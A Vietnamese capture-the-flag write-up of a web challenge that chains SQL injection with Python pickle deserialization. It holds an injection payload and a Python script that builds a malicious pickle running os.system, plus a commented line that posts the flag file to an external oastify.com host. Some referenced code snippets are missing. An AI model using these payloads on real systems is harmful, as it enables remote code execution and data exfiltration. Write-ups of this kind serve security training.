Việc cần làm đầu tiên khi bắt đầu một challenge, chúng ta cần trải nghiệm, sử dụng các chức năng của trang web, để xem những chỗ nào có khả năng khai thác được.
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
Câu query được đưa vào khi ta truyền vào một giá trị id, với việc sử dụng code nối chuỗi sẽ có thể dễ dàng bị khai thác được SQLi. Đơn giản bằng payload -1'OR '1' = '1
Sự khác biệt về byte giữa 2 kết quả trả về
Tuy nhiên flag cần lấy lại không nằm trong bảng nào trong Database. Nhưng chúng ta biết được vị trí của file flag. Sẽ có hai hướng có thể khai thác được.
Điều kiện đầu tiên cần cho hai cách dưới đó là ta cần phải biết mình đang Union select
cho cái gì.
Vì điều kiện Union như sau:
Tiếp theo ở file app.py có đoạn sau:
Cộng với đoạn ở file index.html
Ta có thể thấy, với parameters = "pickle" ở file index line 41, thì hàm pickle_loads
file app sẽ được gọi ra để return ra kết quả trả về index (Vì ở đây sử dụng template_filter('pickle')
.
Vậy ý tưởng là có thể tạo một Item
giả để load ra trang index.
import sys
import base64
import pickle
import urllib.parse
import requests
class Payload:
def __reduce__(self):
import os
cmd = ("touch a.txt")
#cmd = ("wget --post-file flag.txt wwwpl5s1j5rnquzxyi6t7qcib9hz5o.oastify.com")
return os.system, (cmd,)
if __name__ == "__main__":
payload = base64.b64encode(pickle.dumps(Payload())).decode()
#payload = f"' UNION SELECT '{payload}' -- "
# payload = requests.utils.requote_uri(payload)
print(payload)
Vì trong bài sử dụng module Pickle
để serializable đối tượng lưu vào DB, đây là một module nguy hiểm vì chưa thể lọc đầu vào.
Lợi dụng __reduce__
để tạo mới chức năng của object, ta có thể thực hiện.
touch a.txt
để test trong local máy mình)